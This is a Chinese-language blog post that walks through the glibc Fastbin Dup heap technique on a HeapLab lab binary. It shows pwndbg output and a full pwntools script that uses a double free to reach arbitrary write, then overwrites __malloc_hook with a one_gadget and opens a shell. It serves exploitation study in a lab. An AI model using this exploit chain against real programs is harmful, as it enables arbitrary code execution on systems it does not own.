glibc 利用之Fastbin Dup

针对fastbin,利用double free在两次malloc 时获得同一个块chunk,然后在第一次拿到chunk后修改堆的结构,将假的chunk链接到当前块,之后可以通过malloc分配到假的chunk,从而实现任意地址读写,这就是所谓的Fastbin Dup。

这里拿HeapLab中的fastbin_dup 当例子,逐步分析。运行程序可以看到主窗口,先输入用户名,之后可以malloc、free以及查看target。

1
2
3
4
5
6
7
8
9
10
11
x@ubuntu  fastbin_dup  ./fastbin_dup 
===============
| HeapLAB | Fastbin Dup
===============
puts() @ 0x7f5f61acaaf0
Enter your username: FastbinDup
1) malloc 0/7
2) free
3) target
4) quit
>

既然利用需要double free,那就先试试double free (实际做题时,可以盲测或者直接用ida 看free后有没有置空), 直接malloc 一次free 两次,结果报错了:double free or corruption (fasttop) Program received signal SIGABRT, Aborted.

看下原因:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 7ffff7a5204a raise+202
f 1 7ffff7a530f5 abort+357
f 2 7ffff7a93f07 __libc_message+599
f 3 7ffff7a9b2aa
f 4 7ffff7a9ccb4 _int_free+948
f 5 400a22 main+603
f 6 7ffff7a3e037 __libc_start_main+231
────────────────────────────────────────────────────────────────────────────────
pwndbg> f 4
#4 0x00007ffff7a9ccb4 in _int_free (av=0x7ffff7dd0b60 <main_arena>, p=0x603000, have_lock=0) at malloc.c:4266
4266 malloc_printerr ("double free or corruption (fasttop)");
pwndbg> context code
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/x/.glibc/glibc_2.30_no-tcache/malloc/malloc.c
4261 if (SINGLE_THREAD_P)
4262 {
4263 /* Check that the top of the bin is not the record we are going to
4264 add (i.e., double free). */
4265 if (__builtin_expect (old == p, 0))
4266 malloc_printerr ("double free or corruption (fasttop)");
4267 p->fd = old;
4268 *fb = p;
4269 }
4270 else
4271 do
────────────────────────────────────────────────────────────────────────────────

根据代码的注释可以看到,malloc 中的_int_free 函数会检查我们释放后要添加进fastbin中的chunk是否已经是fastbin中的第一个bin,是则提示double free,否则就通过检查。ok,既然如此我们就不用第一个bin试试看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
io.sendafter("username: ", "FastbinDup")
io.recvuntil("> ")
chunk_A = malloc(0x68, "A"*0x68)
chunk_B = malloc(0x68, "B"*0x68)
input("after malloc")
free(chunk_A)
free(chunk_B)
input("after free normal")

---

pwndbg> vis
0x11a2000 0x0000000000000000 0x0000000000000071 ........q.......
0x11a2010 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2040 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2050 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2060 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2070 0x4141414141414141 0x0000000000000071 AAAAAAAAq.......
0x11a2080 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a2090 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20a0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20b0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20c0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20d0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20e0 0x4242424242424242 0x0000000000020f21 BBBBBBBB!....... <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
...
pwndbg> vis
0x11a2000 0x0000000000000000 0x0000000000000071 ........q....... <-- fastbins[0x70][1]
0x11a2010 0x0000000000000000 0x4141414141414141 ........AAAAAAAA
0x11a2020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2040 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2050 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2060 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2070 0x4141414141414141 0x0000000000000071 AAAAAAAAq....... <-- fastbins[0x70][0]
0x11a2080 0x00000000011a2000 0x4242424242424242 . ......BBBBBBBB
0x11a2090 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20a0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20b0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20c0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20d0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20e0 0x4242424242424242 0x0000000000020f21 BBBBBBBB!....... <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x11a2070 —▸ 0x11a2000 ◂— 0x0
0x80: 0x0
pwndbg>

正常的malloc 和free后,可以看到两个chunk都被放进了大小为0x70的fastbin中,且后free的在前面,也就是后入先出。那我们触发double free就free chunk_A 好了,试试看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
free(chunk_A)
input("after double free")
---
pwndbg> vis
0x11a2000 0x0000000000000000 0x0000000000000071 ........q....... <-- fastbins[0x70][0], fastbins[0x70][0]
0x11a2010 0x00000000011a2070 0x4141414141414141 p ......AAAAAAAA
0x11a2020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2030 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2040 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2050 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2060 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x11a2070 0x4141414141414141 0x0000000000000071 AAAAAAAAq....... <-- fastbins[0x70][1]
0x11a2080 0x00000000011a2000 0x4242424242424242 . ......BBBBBBBB
0x11a2090 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20a0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20b0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20c0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20d0 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x11a20e0 0x4242424242424242 0x0000000000020f21 BBBBBBBB!....... <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x11a2000 —▸ 0x11a2070 ◂— 0x11a2000
0x80: 0x0

ok,看起来第一步已经实现了,成功布局chunk_A → chunk_B ← chunk_A ,接下来应该是将fake 地址链接到当前的fastbin中,先试试将user 的地址拉过来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
dup=malloc(0x68, p64(elf.sym.user))
input("malloc for user addr")
---
pwndbg> ptype user
type = struct user {
char username[16];
char target[16];
}
pwndbg> p user
$1 = {
username = "FastbinDup\000\000\000\000\000",
target = "XXXXXXX\000\000\000\000\000\000\000\000"
}
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x1e81000 —▸ 0x1e81070 ◂— 0x1e81000
0x80: 0x0
pwndbg> c
Continuing.
^C
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x1e81070 —▸ 0x1e81000 —▸ 0x602010 (user) ◂— 0x58585858585858 /* 'XXXXXXX' */
0x80: 0x0
pwndbg>

看起来比较顺利,我们通过malloc后得到chunk_A, 之后将chunk_A中的fd指针指向user的地址,从而将user链入当前的bin中。后面如果能够成功的在user地址中写入内容,就算实现任意地址写了呗。

1
2
3
4
5
6
input("malloc for user addr")
malloc(0x68,"C"*0x68)
malloc(0x68,"D"*0x68)
malloc(0x68,"arbitrary write")
---
malloc(): memory corruption (fast)

看来没那么简单,这里直接崩了,ummm, 看看原因:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 7f7b237b604a raise+202
f 1 7f7b237b70f5 abort+357
f 2 7f7b237f7f07 __libc_message+599
f 3 7f7b237ff2aa
f 4 7f7b2380235c _int_malloc+2028
f 5 7f7b23803533 malloc+51
f 6 400976 main+431
f 7 7f7b237a2037 __libc_start_main+231
────────────────────────────────────────────────────────────────────────────────
pwndbg> f 4
#4 0x00007f7b2380235c in _int_malloc (av=av@entry=0x7f7b23b34b60 <main_arena>, bytes=bytes@entry=104) at malloc.c:3594
3594 malloc_printerr ("malloc(): memory corruption (fast)");
pwndbg> context code
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/x/.glibc/glibc_2.30_no-tcache/malloc/malloc.c
3589 REMOVE_FB (fb, pp, victim);
3590 if (__glibc_likely (victim != NULL))
3591 {
3592 size_t victim_idx = fastbin_index (chunksize (victim));
3593 if (__builtin_expect (victim_idx != idx, 0))
3594 malloc_printerr ("malloc(): memory corruption (fast)");
3595 check_remalloced_chunk (av, victim, nb);
3596 #if USE_TCACHE
3597 /* While we're here, if we see other chunks of the same size,
3598 stash them in the tcache. */
3599 size_t tc_idx = csize2tidx (nb);
────────────────────────────────────────────────────────────────────────────────

根据backtrace看到是在_int_malloc 的时候出问题的,根据代码来看,3592 行是在获取当前chunk的size然后判断是在fastbins中的第几个bin, 3593行则是判断当前的使用的bin和size所在的bin是否为同一个,如果不是则提示错误。

如此看来,错误应该是user这个fake bin 中表示size的字段不在0x60—0x70之间,根据上面看的user结构:两个长度为16的char数组,我们可以自己控制user.username [8:15],将其设置成0x70bin的长度即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
io.sendafter("username: ", p64(0) + p64(0x71))
io.recvuntil("> ")

chunk_A = malloc(0x68, "A"*0x68)
chunk_B = malloc(0x68, "B"*0x68)
input("after malloc")
free(chunk_A)
free(chunk_B)
input("after free normal")

free(chunk_A)
input ("after double free")
dup=malloc(0x68, p64(elf.sym.user))
input("malloc for user addr")
malloc(0x68,"C"*0x68)
malloc(0x68,"D"*0x68)
malloc(0x68,"arbitrary write")
---
pwndbg> p user
$1 = {
username = "\000\000\000\000\000\000\000\000q\000\000\000\000\000\000",
target = "XXXXXXX\000\000\000\000\000\000\000\000"
}
pwndbg> c
Continuing.
^C
pwndbg> p user
$2 = {
username = "\000\000\000\000\000\000\000\000q\000\000\000\000\000\000",
target = "arbitrary write"
}

至此一个任意地址写已经实现了,下面就看一下如何实现RCE, 常规思路是通过任意写修改GOT表中malloc 或free对应的地址,改成system项尔后再填入参数调用。这里记一种新学到的招式:

在glibc中,提供了_malloc_hook 以及_free_hook,在调用malloc或free时,如果对应的hook值存在,则会先调用_malloc_hook或_free_hook指向的地址。既然如此,我们便可以overwrite 对应的地址,这样就可以直接让glibc帮我们来调用。overwrite的内容可以通过one_gadget 寻找glibc中的execve(“/bin/sh”…),只要满足条件就可以用。

下面详细来讲:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> ptype __malloc_hook
type = void *(*)(size_t, const void *)
pwndbg> ptype __free_hook
type = void (*)(void *, const void *)
pwndbg> dq &__malloc_hook 20
00007f6d768d3b50 0000000000000000 0000000000000000
00007f6d768d3b60 0000000000000000 0000000000000000
00007f6d768d3b70 0000000000000000 0000000000000000
00007f6d768d3b80 0000000000000000 0000000000000000
00007f6d768d3b90 0000000000000000 0000000000000000
00007f6d768d3ba0 0000000000000000 0000000000000000
00007f6d768d3bb0 0000000000000000 0000000000000000
00007f6d768d3bc0 000000000259d0e0 0000000000000000
00007f6d768d3bd0 00007f6d768d3bc0 00007f6d768d3bc0
00007f6d768d3be0 00007f6d768d3bd0 00007f6d768d3bd0
pwndbg> dq &__free_hook 20
00007f6d768d5e20 0000000000000000 0000000000000000
00007f6d768d5e30 0000000000000000 0000000000000000
00007f6d768d5e40 0000000000000000 0000000000000000
00007f6d768d5e50 0000000000000000 0000000000000000
00007f6d768d5e60 0000000000000000 0000000000000000
00007f6d768d5e70 0000000000000000 0000000000000080
00007f6d768d5e80 0000000000000000 0000000000000000
00007f6d768d5e90 0000000000000000 0000000000000000
00007f6d768d5ea0 0000000000000000 0000000000000000
00007f6d768d5eb0 0000000000000000 0000000000000000

看了__malloc_hook 和__free_hook,发现一个问题,如果把他们当作一个fake chunk,表示size的字段都是0,必然无法通过_int_malloc中的check,同时这里也不像user结构那样可以被我们控制。既然如此,那我们就向前找找,只要表示size的字段合适且能覆盖到_malloc_hook 或_free_hook就可以。这里可以借助pwndbg的find_fake_fast命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> find_fake_fast --help
usage: find_fake_fast [-h] addr [size]

Find candidate fake fast chunks overlapping the specified address.

positional arguments:
addr Address of the word-sized value to overlap.
size Size of fake chunks to find.

optional arguments:
-h, --help show this help message and exit
pwndbg> find_fake_fast &__malloc_hook
FAKE CHUNKS
Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f6d768d3b2d
prev_size: 0x6d768cfee0000000
size: 0x7f
fd: 0x6d765a2a10000000
bk: 0x6d765a2ed000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00

pwndbg> find_fake_fast &__free_hook
FAKE CHUNKS
pwndbg> p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7f6d768d3b50 <__malloc_hook>
p/x 0x7f6d768d3b50-0x7f6d768d3b2d-0x10 #malloc data字段在size之后
$3 = 0x13

在__malloc_hook 前成功找到一个可以充当fake fast chunk 的地址而__free_hook前则没找到合适的。如此我们在找到的地址上填充p8(any_num)*0x13+p64(cmd)即可。下面通过one_gadget查找libc.so中的execve(“/bin/sh”…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  ldd fastbin_dup 
linux-vdso.so.1 (0x00007ffc21493000)
libc.so.6 => ../.glibc/glibc_2.30_no-tcache/libc.so.6 (0x00007ffa81a8000)
../.glibc/glibc_2.30_no-tcache/ld.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007ffae8564000)
➜ one_gadget ../.glibc/glibc_2.30_no-tcache/libc.so.6
0xc4dbf execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL
[r12] == NULL || r12 == NULL

0xe1fa1 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xe1fad execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

找到三个可以执行shell的,三个都有限制条件,对应constraints字段显示的内容。那就只能是一个一个试试看了,这里将对应的地址改成0xdeadbeef,这样在malloc走到这里时会直接跳到调试器中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0xdeadbeef
RBX 0x0
RCX 0x0
RDX 0xffffffffffffff98
RDI 0x68
RSI 0x400976 (main+431) ◂— mov rdx, rax
R8 0x7fff71d631f3 ◂— 0x0
R9 0x0
R10 0x7fcc3ff00720 (_nl_C_LC_CTYPE_toupper+512) ◂— add byte ptr [rax], al
R11 0xa
R12 0x4006e0 (_start) ◂— xor ebp, ebp
R13 0x7fff71d63370 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fff71d63290 —▸ 0x400ae0 (__libc_csu_init) ◂— push r15
RSP 0x7fff71d63228 —▸ 0x400976 (main+431) ◂— mov rdx, rax
RIP 0xdeadbeef
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0xdeadbeef
───────────────────────────────────[ STACK ]────────────────────────────────────
...
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 deadbeef
f 1 400976 main+431
f 2 7fcc3fdbd037 __libc_start_main+231
────────────────────────────────────────────────────────────────────────────────

可以看到r12 和 r13寄存器都不是空,且对应地址都不为空,所以第一个gadget不能满足条件。看下第二个,要求[rsp+0x50]为null,那就看下stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> stack 15
00:0000│ rsp 0x7fff71d63228 —▸ 0x400976 (main+431) ◂— mov rdx, rax
01:0008│ 0x7fff71d63230 —▸ 0x7fff71d63378 —▸ 0x7fff71d64302 ◂— '/home/x/fastbin_dup/fastbin_dup'
02:0010│ 0x7fff71d63238 ◂— 0x171d6326e
03:0018│ 0x7fff71d63240 ◂— 0x600000001
04:0020│ 0x7fff71d63248 ◂— 0x68 /* 'h' */
05:0028│ 0x7fff71d63250 —▸ 0x23bc010 —▸ 0x7fcc4014fb41 (__memalign_hook+1) ◂— 0x4141414141414141 ('AAAAAAAA')
06:0030│ 0x7fff71d63258 —▸ 0x23bc080 —▸ 0x23bc041 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq'
07:0038│ 0x7fff71d63260 —▸ 0x23bc010 —▸ 0x7fcc4014fb41 (__memalign_hook+1) ◂— 0x4141414141414141 ('AAAAAAAA')
08:0040│ 0x7fff71d63268 —▸ 0x23bc080 —▸ 0x23bc041 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq'
09:0048│ 0x7fff71d63270 —▸ 0x23bc010 —▸ 0x7fcc4014fb41 (__memalign_hook+1) ◂— 0x4141414141414141 ('AAAAAAAA')
0a:0050│ 0x7fff71d63278 —▸ 0x7fcc4014fb3d ◂— 0x4141414141414141 ('AAAAAAAA')
0b:0058│ 0x7fff71d63280 ◂— 0x0
0c:0060│ 0x7fff71d63288 ◂— 0x755c2feb7db26d00
0d:0068│ rbp 0x7fff71d63290 —▸ 0x400ae0 (__libc_csu_init) ◂— push r15
0e:0070│ 0x7fff71d63298 —▸ 0x7fcc3fdbd037 (__libc_start_main+231) ◂— mov edi, eax

ok,可以看到虽然当前[rsp+0x50]不为空,但是 rsp+50 指向的是我们可以控制的字符,那么就可以手动将其设置成0,如此第二个就满足条件了,wink~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# =============================================================================

io.sendafter("username: ", p64(0) + p64(0x71))
# io.sendafter("username: ", "FastbinDup")
io.recvuntil("> ")

chunk_A = malloc(0x68, "A"*0x68)
chunk_B = malloc(0x68, "B"*0x68)
input("after malloc")

free(chunk_A)
free(chunk_B)
input("after free normal")

free(chunk_A)
input ("after double free")
# dup=malloc(0x68, p64(elf.sym.user))
dup = malloc(0x68, p64(libc.sym.__malloc_hook-0x23))

input("malloc for user addr")
malloc(0x68,"C"*0x68)
malloc(0x68,"D"*0x68)
# malloc(0x68,"arbitrary write")
# malloc(0x68, p64(libc.sym.system))
malloc(0x68, p8(0)*19+p64(libc.address + 0xe1fa1))
malloc(0x68, "")
print ("enjoy~")
# =============================================================================

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
x@ubuntu  python3 RCE_Fastbin_Dup.py
[*] '/home/x/fastbin_dup/fastbin_dup'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'../.glibc/glibc_2.30_no-tcache'
[*] '/home/x/.glibc/glibc_2.30_no-tcache/libc-2.30.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/x/fastbin_dup/fastbin_dup': pid 13618
after malloc
after free normal
after double free
malloc for user addr
enjoy~
[*] Switching to interactive mode
$ id
uid=1000(x) gid=1000(x) groups=1000(x),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)

小结

  1. Fastbin Dup 就是通过double free修改fd指针,将fake fast bin 链入当前的链表中,之后再分配到对应地址
  2. fastbin 的double free 检查只检查当前链入的块是否是第一个,不是则ok
  3. 在分配fastbin出去时,会检查当前chunk中表示size的字段与当前bin所在的大小是否一致,不符合则报错,所以size字段需要符合条件
  4. 利用时__malloc_hook是一个很好的目标,通过find_fake_fast找到符合条件的地址,之后覆盖_malloc_hook为对应的地址即可,one_gadget 可以用于在glibc的so文件中查找”/bin/sh”
作者

vlinkstone

发布于

2020-12-28

更新于

2020-12-28

许可协议

评论